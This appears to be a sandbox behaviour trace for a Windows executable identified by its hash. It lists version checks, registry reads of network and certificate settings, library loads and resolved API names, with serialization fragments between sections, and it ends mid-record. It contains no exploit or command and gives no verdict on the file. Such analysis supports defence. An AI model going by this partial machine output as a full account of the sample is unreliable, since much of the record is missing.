140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e0000009e29967718d19a0300000000280000002400000000009903f8ef5e010000000000000000000000000000000000000000d007820330000000000000000e0000000000820300000000bd000000000000000000000050ce9a03c0b299030e000000000000002000000000008203d0018203d40b820300000000d00b820300000000f0ef5e0150f5957718d19a0358f05e01a4f05e01 (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000727700000000d0b16e77a8e9f1265cbc6e7730099b03000000003dbc6e77be1acef274ab7677fddb75773e19cef20000000060db757752616e7770d89d0348868677000000007214cef2bceaf126c7966f770000000070d89d034886867701180000bceaf126d2966f77d82f6877501e6f77f9966f7700000000d82f6877acdd9a032cebf12670d89d03b0e9f1260000000008f1f12600a876775e3fbaa3fefffffffddb7577b7026f772483867730099b03e05a76776dfa6e77f4ecf12630099b03ccfa6e770000000030099b0308eff12600000000503768770000000000010000000000000000cf6d809b9d0300000000000000000000000000000000 (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000727700000000d0b16e7778e9f1265cbc6e77189f9e03000000003dbc6e776e1acef274ab7677fddb7577ee1acef20000000060db757752616e77908f9f0348868677000000002214cef28ceaf126c7966f7700000000908f9f0348868677011800008ceaf126d2966f77d82f6877501e6f77f9966f7700000000d82f6877ece09a03fceaf126908f9f0380e9f12600000000d8f0f12600a876775e3fbaa3fefffffffddb7577b7026f7724838677189f9e03e05a76776dfa6e77c4ecf126189f9e03ccfa6e77d069f500189f9e03d8eef126000000005037687700000000300000000000000040000000f0699c0300000000784100000000000000000000 (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000727700000000d0b16e77f0e6f1265cbc6e7768089b03000000003dbc6e77e615cef274ab7677fddb75776614cef20000000060db757752616e7758f59d034886867700000000ba17cef204e8f126c7966f770000000058f59d03488686770118000004e8f126d2966f77d82f6877501e6f77f9966f7700000000d82f6877acdd9a0374e8f12658f59d03f8e6f1260000000050eef12600a876775e3fbaa3fefffffffddb7577b7026f772483867768089b03e05a76776dfa6e773ceaf12668089b03ccfa6e77d069f50068089b0350ecf12600000000503768770000000030000000000000006a00000088eb9f0300000000fb0000000000000000000000 (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000727700000000d0b16e77f0e4f5265cbc6e77e09f9e03000000003dbc6e77e617caf274ab7677fddb75776616caf20000000060db757752616e77d8fc9d034886867700000000ba11caf204e6f526c7966f7700000000d8fc9d03488686770118000004e6f526d2966f77d82f6877501e6f77f9966f7700000000d82f68772cdd9a0374e6f526d8fc9d03f8e4f5260000000050ecf52600a876775e3fbaa3fefffffffddb7577b7026f7724838677e09f9e03e05a76776dfa6e773ce8f526e09f9e03ccfa6e77d069f500e09f9e0350eaf52600000000503768770000000030000000000000004f00000088eb9f0300000000be7100000000000000000000 (UID: 00000000-00001124)2d:Tfd7,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")2e:T727,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")2f:T8a2,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter userenv.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001124)30:T5466,"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WerGetFlags (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WaitForMultipleObjects (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SuspendThread (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetWaitableTimer (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetProcessPriorityBoost (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter RaiseFailFastException (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter PostQueuedCompletionStatus (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetSystemDirectoryA (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetProcessAffinityMask (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetErrorMode (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CreateIoCompletionPort (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter AddVectoredExceptionHandler (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter NtCreateWaitCompletionPacket (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter NtAssociateWaitCompletionPacket (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter NtCancelWaitCompletionPacket (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter WSAEnumProtocolsW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter GetComputerNameExW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001124) "5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe" called "GetProcAddress" with a parameter 